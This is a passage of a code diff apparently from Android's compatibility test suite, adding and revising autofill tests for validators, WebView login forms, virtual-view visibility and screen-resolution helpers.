+ assertWithMessage("save title (%s) is not shown", RESOURCE_ID_SAVE_TITLE).that(titleView)
+ .isNotNull();
+
+ final UiObject2 iconView =
+ waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_ICON), UI_TIMEOUT_MS);
+ assertWithMessage("save icon (%s) is not shown", RESOURCE_ID_SAVE_ICON).that(iconView)
+ .isNotNull();
final String actualTitle = titleView.getText();
Log.d(TAG, "save title: " + actualTitle);
@@ -466,7 +515,7 @@
* Gets a string from the Android resources.
*/
private String getString(String id) {
- final Resources resources = InstrumentationRegistry.getContext().getResources();
+ final Resources resources = mContext.getResources();
final int stringId = resources.getIdentifier(id, "string", "android");
return resources.getString(stringId);
}
@@ -475,7 +524,7 @@
* Gets a string from the Android resources.
*/
private String getString(String id, Object... formatArgs) {
- final Resources resources = InstrumentationRegistry.getContext().getResources();
+ final Resources resources = mContext.getResources();
final int stringId = resources.getIdentifier(id, "string", "android");
return resources.getString(stringId, formatArgs);
}
@@ -492,15 +541,18 @@
/**
* Waits for and returns an object.
*
+ * @param parent where to find the object (or {@code null} to use device's root).
* @param selector {@link BySelector} that identifies the object.
* @param timeout timeout in ms
*/
- private UiObject2 waitForObject(BySelector selector, long timeout) {
+ private UiObject2 waitForObject(UiObject2 parent, BySelector selector, long timeout) {
// NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
final int maxTries = 5;
final long napTime = timeout / maxTries;
for (int i = 1; i <= maxTries; i++) {
- final UiObject2 uiObject = mDevice.findObject(selector);
+ final UiObject2 uiObject = parent != null
+ ? parent.findObject(selector)
+ : mDevice.findObject(selector);
if (uiObject != null) {
return uiObject;
}
@@ -508,6 +560,17 @@
}
throw new RetryableException("Object with selector '%s' not found in %d ms",
selector, UI_TIMEOUT_MS);
+
+ }
+
+ /**
+ * Waits for and returns an object.
+ *
+ * @param selector {@link BySelector} that identifies the object.
+ * @param timeout timeout in ms
+ */
+ private UiObject2 waitForObject(BySelector selector, long timeout) {
+ return waitForObject(null, selector, timeout);
}
/**
@@ -607,4 +670,34 @@
public int getScreenOrientation() {
return mDevice.getDisplayRotation();
}
+
+ /**
+ * Dumps the current view hierarchy int the output stream.
+ */
+ public void dumpScreen() throws IOException {
+ mDevice.dumpWindowHierarchy(System.out);
+ }
+
+ /**
+ * Sets screen resolution.
+ *
+ * <p>If the screen is too small and the devices shows an IME, it might not have space for all
+ * UI elements after the device is rotated to landscape.
+ *
+ * <p>{@link #resetScreenResolution()} should always be called too.
+ */
+ void setScreenResolution() {
+ assumeMinimumResolution(500);
+
+ runShellCommand("wm size 1080x1920");
+ runShellCommand("wm density 420");
+ }
+
+ /**
+ * Resets screen resolution.
+ */
+ void resetScreenResolution() {
+ runShellCommand("wm density reset");
+ runShellCommand("wm size reset");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
new file mode 100644
index 0000000..21ebac2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.Validators;
+import android.support.annotation.NonNull;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+public class ValidatorTest extends AutoFillServiceTestCase {
+ @Rule
+ public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+ new AutofillActivityTestRule<>(LoginActivity.class);
+
+ private LoginActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void finishWelcomeActivity() {
+ WelcomeActivity.finishIt();
+ }
+
+ /**
+ * Base test
+ *
+ * @param validatorBuilder method to build a validator
+ * @param willSaveBeShown Whether the save pop-up will be shown
+ */
+ private void testValidator(
+ @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
+ boolean willSaveBeShown) throws Exception {
+ enableService();
+
+ AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ // Set response
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+ .setValidator(validatorBuilder.apply(usernameId, passwordId))
+ .build());
+
+ // Trigger auto-fill
+ mActivity.onPassword(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onUsername((v) -> v.setText("7992739871-3"));
+ mActivity.onPassword((v) -> v.setText("passwd"));
+ mActivity.tapLogin();
+
+ if (willSaveBeShown) {
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextSaveRequest();
+ } else {
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ assertNoDanglingSessions();
+ }
+
+ @Test
+ public void checkForInvalidField() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new LuhnChecksumValidator(new AutofillId(-1)),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkBoth() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.and(
+ new LuhnChecksumValidator(usernameId),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkEither1() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new RegexValidator(usernameId, Pattern.compile("7.*")),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkEither2() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new RegexValidator(usernameId, Pattern.compile("invalid")),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkBothButFail() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.and(
+ new RegexValidator(usernameId, Pattern.compile("7.*")),
+ new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+ }
+
+ @Test
+ public void checkEitherButFail() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new RegexValidator(usernameId, Pattern.compile("invalid")),
+ new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 541250b..15ae91b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -175,6 +175,10 @@
@Test
public void checkViewLocationInAssistStructure() throws Exception {
+ // If screen is not large enough to contain child, the
+ // height/weight will be the residual space instead of the
+ // specific size.
+ sUiBot.assumeMinimumResolution(500);
onAssistStructure(false, (structure) -> {
// check size of outerView
AssistStructure.ViewNode outerView = findNodeByResourceId(structure,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
index 82bf213..65f3378 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
@@ -26,7 +26,6 @@
import android.autofillservice.cts.VirtualContainerView.Line.OneTimeLineWatcher;
import android.graphics.Canvas;
import android.os.Bundle;
-import android.view.autofill.AutofillManager;
/**
* A custom activity that uses {@link Canvas} to draw the following fields:
@@ -53,7 +52,7 @@
setContentView(R.layout.virtual_container_activity);
- mCustomView = (VirtualContainerView) findViewById(R.id.virtual_container_view);
+ mCustomView = findViewById(R.id.virtual_container_view);
mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE);
mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 7b767cf..31eae24 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -37,6 +37,8 @@
import android.autofillservice.cts.VirtualContainerView.Line;
import android.content.ComponentName;
import android.graphics.Rect;
+import android.os.SystemClock;
+import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.UiObject2;
import android.view.autofill.AutofillManager;
@@ -45,6 +47,9 @@
import org.junit.Rule;
import org.junit.Test;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
/**
* Test case for an activity containing virtual children.
*/
@@ -369,6 +374,43 @@
sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
}
+ @Test
+ public void testSaveDialogShownWhenAllVirtualViewsNotVisible() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .build());
+
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ // Trigger auto-fill.
+ mActivity.runOnUiThread(() -> {
+ mActivity.mUsername.changeFocus(true);
+ latch.countDown();
+ });
+ latch.await(Helper.UI_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ sReplier.getNextFillRequest();
+
+ // TODO: 63602573 Should be removed once this bug is fixed
+ SystemClock.sleep(1000);
+
+ mActivity.runOnUiThread(() -> {
+ // Fill in some stuff
+ mActivity.mUsername.setText("foo");
+ mActivity.mPassword.setText("bar");
+
+ // Hide all virtual views
+ mActivity.mUsername.changeVisibility(false);
+ mActivity.mPassword.changeVisibility(false);
+ });
+
+ // Make sure save is shown
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+ }
@Test
public void testAppCannotFakePackageName() throws Exception {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 3098b60..8eecc29 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -133,6 +133,9 @@
for (int i = 0; i < mLines.size(); i++) {
x = mLeftMargin;
final Line line = mLines.get(i);
+ if (!line.visible) {
+ continue;
+ }
Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
final String readOnlyText = line.label.text + ": [";
@@ -270,7 +273,6 @@
mFakedComponentName = name;
}
-
void setOverrideDispatchProvideAutofillStructure(boolean flag) {
mOverrideDispatchProvideAutofillStructure = flag;
}
@@ -285,6 +287,7 @@
final Rect bounds = new Rect();
private boolean focused;
+ private boolean visible = true;
private Line(String labelId, String label, String textId, String text) {
this.label = new Item(this, ++nextId, labelId, label, false, false);
@@ -303,6 +306,16 @@
}
}
+ void changeVisibility(boolean visible) {
+ if (this.visible == visible) {
+ return;
+ }
+ this.visible = visible;
+ mAfm.notifyViewVisibilityChanged(VirtualContainerView.this, text.id, visible);
+ Log.d(TAG, "visibility changed view: " + text.id + "; visible:" + visible);
+ invalidate();
+ }
+
Rect getAbsCoordinates() {
// Must offset the boundaries so they're relative to the CustomView.
final int offset[] = new int[2];
@@ -315,13 +328,25 @@
return absBounds;
}
+ void setText(String value) {
+ text.text = value;
+ final AutofillManager autofillManager =
+ getContext().getSystemService(AutofillManager.class);
+ if (autofillManager != null) {
+ autofillManager.notifyValueChanged(VirtualContainerView.this, text.id,
+ AutofillValue.forText(text.text));
+ }
+ invalidate();
+ }
+
void setTextChangedListener(TextWatcher listener) {
text.listener = listener;
}
@Override
public String toString() {
- return "Label: " + label + " Text: " + text + " Focused: " + focused;
+ return "Label: " + label + " Text: " + text + " Focused: " + focused
+ + " Visible: " + visible;
}
final class OneTimeLineWatcher implements TextWatcher {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
new file mode 100644
index 0000000..2ef5141
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.EditText;
+
+import java.io.IOException;
+
+public class WebViewActivity extends AbstractAutoFillActivity {
+
+ private static final String TAG = "WebViewActivity";
+ static final String FAKE_DOMAIN = "y.u.no.real.server";
+ private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
+ static final String ID_WEBVIEW = "webview";
+
+ MyWebView mWebView;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.webview_activity);
+
+ mWebView = findViewById(R.id.webview);
+ mWebView.setWebViewClient(new WebViewClient() {
+ // WebView does not set the WebDomain on file:// requests, so we need to use an https://
+ // request and intercept it to provide the real data.
+ @Override
+ public WebResourceResponse shouldInterceptRequest(WebView view,
+ WebResourceRequest request) {
+ final String url = request.getUrl().toString();
+ if (!url.equals(FAKE_URL)) {
+ Log.d(TAG, "Ignoring " + url);
+ return super.shouldInterceptRequest(view, request);
+ }
+
+ final String rawPath = request.getUrl().getPath().substring(1); // Remove leading /
+ Log.d(TAG, "Converting " + url + " to " + rawPath);
+ // NOTE: cannot use try() because it would close the stream before WebView uses it.
+ try {
+ return new WebResourceResponse("text/html", "utf-8", getAssets().open(rawPath));
+ } catch (IOException e) {
+ throw new IllegalArgumentException("Error opening " + rawPath, e);
+ }
+ }
+ });
+ mWebView.loadUrl(FAKE_URL);
+ }
+
+ public UiObject2 getUsernameLabel(UiBot uiBot) {
+ return getLabel(uiBot, "Username: ");
+ }
+
+ public UiObject2 getPasswordLabel(UiBot uiBot) {
+ return getLabel(uiBot, "Password: ");
+ }
+
+ public UiObject2 getUsernameInput(UiBot uiBot) {
+ return getInput(uiBot, "Username: ");
+ }
+
+ public UiObject2 getPasswordInput(UiBot uiBot) {
+ return getInput(uiBot, "Password: ");
+ }
+
+ public UiObject2 getLoginButton(UiBot uiBot) {
+ return getLabel(uiBot, "Login");
+ }
+
+ private UiObject2 getLabel(UiBot uiBot, String label) {
+ try {
+ return uiBot.assertShownByContentDescription(label);
+ } catch (Throwable t) {
+ return uiBot.assertShownByText(label);
+ }
+ }
+
+ private UiObject2 getInput(UiBot uiBot, String contentDescription) {
+ // First get the label..
+ final UiObject2 label = getLabel(uiBot, contentDescription);
+
+ // Then the input is next.
+ final UiObject2 parent = label.getParent();
+ UiObject2 previous = null;
+ for (UiObject2 child : parent.getChildren()) {
+ if (label.equals(previous)) {
+ if (child.getClassName().equals(EditText.class.getName())) {
+ return child;
+ }
+ throw new IllegalStateException("Invalid class for " + child);
+ }
+ previous = child;
+ }
+ throw new IllegalStateException("could not find username (label=" + label + ")");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
new file mode 100644
index 0000000..cf2ecfc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.ViewStructure.HtmlInfo;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class WebViewActivityTest extends AutoFillServiceTestCase {
+
+ private static final String TAG = "WebViewActivityTest";
+
+ // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
+ // set using accessibility.
+ private static final boolean INJECT_EVENTS = true;
+
+ @Rule
+ public final AutofillActivityTestRule<WebViewActivity> mActivityRule =
+ new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+ // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+ // disable autofill for optimization when it returns false, and unfortunately the value
+ // returned by that method does not change when the service is enabled / disabled, so we
+ // need to start enable the service before launching the activity.
+ // Once that's fixed, remove this overridden method.
+ @Override
+ protected void beforeActivityLaunched() {
+ super.beforeActivityLaunched();
+ Log.i(TAG, "Setting service before launching the activity");
+ enableService();
+ }
+ };
+
+ private WebViewActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ assertAutofillEnabledOnWebView();
+ }
+
+ @BeforeClass
+ public static void setReplierMode() {
+ sReplier.setIdMode(IdMode.HTML_NAME);
+ }
+
+ @AfterClass
+ public static void resetReplierMode() {
+ sReplier.setIdMode(IdMode.RESOURCE_ID);
+ }
+
+ @Test
+ public void testAutofillNoDatasets() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ sReplier.getNextFillRequest();
+
+ // Assert not shown.
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
+ public void testAutofillOneDataset() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.mWebView.expectAutofill("dude", "sweet");
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField("username", "dude")
+ .setField("password", "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+
+ // Change focus around.
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ mActivity.getUsernameLabel(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ sUiBot.assertNoDatasets();
+ mActivity.getPasswordInput(sUiBot).click();
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
+
+ // Now Autofill it.
+ sUiBot.selectDataset(datasetPicker, "The Dude");
+ mActivity.mWebView.assertAutofilled();
+ sUiBot.assertNoDatasets();
+ callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+
+ // Make sure screen was autofilled.
+ assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
+ // TODO: proper way to verify text (which is ..... because it's a password) - ideally it
+ // should call passwordInput.isPassword(), but that's not exposed
+ final String password = mActivity.getPasswordInput(sUiBot).getText();
+ assertThat(password).isNotEqualTo("sweet");
+ assertThat(password).hasLength(5);
+
+ // Assert structure passed to service.
+ try {
+ final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
+ // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
+ // be inside HtmlInfo, but Chromium 61 does not implement that.
+ if (webViewNode.getClassName().equals("android.webkit.WebView")) {
+ final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
+ Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
+ } else {
+ assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
+ assertThat(webViewNode.getHtmlInfo()).isNull();
+ }
+ assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+
+ final ViewNode usernameNode =
+ Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ Helper.assertTextIsSanitized(usernameNode);
+ final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
+ Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
+ Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
+ assertThat(usernameNode.isFocused()).isTrue();
+ assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+ assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
+
+ final ViewNode passwordNode =
+ Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ Helper.assertTextIsSanitized(passwordNode);
+ final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
+ Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
+ Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
+ assertThat(passwordNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
+ assertThat(passwordNode.isFocused()).isFalse();
+ } catch (RuntimeException | Error e) {
+ Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
+ throw e;
+ }
+ }
+
+ @Test
+ public void testSaveOnly() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ sReplier.getNextFillRequest();
+
+ // Assert not shown.
+ sUiBot.assertNoDatasets();
+
+ // Trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameNode, "u");
+ Helper.assertTextAndValue(passwordNode, "p");
+ } else {
+ Helper.assertTextAndValue(usernameNode, "DUDE");
+ Helper.assertTextAndValue(passwordNode, "SWEET");
+ }
+ }
+
+ @Test
+ public void testAutofillAndSave() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ mActivity.mWebView.expectAutofill("dude", "sweet");
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .addDataset(new CannedDataset.Builder()
+ .setField("username", "dude")
+ .setField("password", "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+
+ // Assert structure passed to service.
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ Helper.assertTextIsSanitized(usernameNode);
+ assertThat(usernameNode.isFocused()).isTrue();
+ assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ Helper.assertTextIsSanitized(passwordNode);
+ assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
+ assertThat(passwordNode.isFocused()).isFalse();
+
+ // Autofill it.
+ sUiBot.selectDataset("The Dude");
+ mActivity.mWebView.assertAutofilled();
+ callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+
+ // Make sure screen was autofilled.
+ assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
+ // TODO: proper way to verify text (which is ..... because it's a password) - ideally it
+ // should call passwordInput.isPassword(), but that's not exposed
+ final String password = mActivity.getPasswordInput(sUiBot).getText();
+ assertThat(password).isNotEqualTo("sweet");
+ assertThat(password).hasLength(5);
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
+ final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameNode2, "dudeu");
+ Helper.assertTextAndValue(passwordNode2, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameNode2, "DUDE");
+ Helper.assertTextAndValue(passwordNode2, "SWEET");
+ }
+ }
+
+ private void assertAutofillEnabledOnWebView() {
+ assertThat(mActivity.mWebView.isAutofillEnabled()).isTrue();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
index 637966d..5d3baca 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
@@ -15,8 +15,12 @@
*/
package android.autofillservice.cts;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.content.Intent;
import android.os.Bundle;
+import android.support.annotation.Nullable;
+import android.support.test.uiautomator.UiObject2;
import android.text.TextUtils;
import android.util.Log;
import android.widget.TextView;
@@ -31,6 +35,7 @@
private static final String TAG = "WelcomeActivity";
static final String EXTRA_MESSAGE = "message";
+ static final String ID_OUTPUT = "output";
private TextView mOutput;
@@ -62,4 +67,19 @@
sInstance.finish();
}
}
+
+ // TODO: reuse in other places
+ static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+ assertShowing(uiBot, null);
+ }
+
+ // TODO: reuse in other places
+ static void assertShowing(UiBot uiBot, @Nullable String expectedMessage) throws Exception {
+ final UiObject2 activity = uiBot.assertShownByRelativeId(ID_OUTPUT);
+ if (expectedMessage == null) {
+ expectedMessage = "Welcome to the jungle!";
+ }
+ assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+ .isEqualTo(expectedMessage);
+ }
}
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index d791fa6..bb1f8fc 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
